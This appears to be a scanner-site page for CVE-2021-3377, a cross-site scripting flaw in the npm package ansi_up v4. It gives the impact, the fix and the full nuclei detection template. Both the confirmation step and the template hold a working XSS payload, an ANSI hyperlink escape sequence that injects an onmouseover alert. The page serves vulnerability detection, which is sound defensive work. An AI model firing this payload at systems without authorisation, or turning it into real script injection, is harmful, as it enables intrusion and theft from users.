npm ansi_up v4 - Cross-Site Scripting

mediumseverity

6.1CVSS score

8%likelihood of exploitation, next 30 days

95%of all CVEs are less likely

Readycheck to confirm it

npm package ansi_up v4 is vulnerable to cross-site scripting because ANSI escape codes can be used to create HTML hyperlinks.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of a user's browser, leading to potential data theft or unauthorized actions.

Fix

Upgrade to v5.0.0 or later.

How to confirm it

Send: GET /\u001B]8;;https://interact.sh"/onmouseover="alert(1)\u0007example\u001B]8;;\u0007
Positive when: contains in header "text/html" AND contains "sh\"/onmouseover=\"alert(1)\">"

Run it with nuclei: nuclei -id CVE-2021-3377 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2021-3377

info:
  name: npm ansi_up v4 - Cross-Site Scripting
  author: geeknik
  severity: medium
  description: npm package ansi_up v4 is vulnerable to cross-site scripting because ANSI escape codes can be used to create HTML hyperlinks.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of a user's browser, leading to potential data theft or unauthorized actions.
  remediation: Upgrade to v5.0.0 or later.
  reference:
    - https://doyensec.com/resources/Doyensec_Advisory_ansi_up4_XSS.pdf
    - https://github.com/drudru/ansi_up/commit/c8c726ed1db979bae4f257b7fa41775155ba2e27
    - https://nvd.nist.gov/vuln/detail/CVE-2021-3377
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-3377
    cwe-id: CWE-79
    epss-score: 0.08
    epss-percentile: 0.94809
    cpe: cpe:2.3:a:ansi_up_project:ansi_up:*:*:*:*:*:node.js:*:*
  metadata:
    max-request: 1
    vendor: ansi_up_project
    product: ansi_up
    framework: node.js
  tags: cve2021,cve,xss,npm,ansi_up_project,node.js,vuln

http:
  - raw:
      - |+
        GET /\u001B]8;;https://interact.sh"/onmouseover="alert(1)\u0007example\u001B]8;;\u0007 HTTP/1.1
        Host: {{Hostname}}
        Connection: close

    unsafe: true

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - "text/html"

      - type: word
        words:
          - "sh\"/onmouseover=\"alert(1)\">"

References

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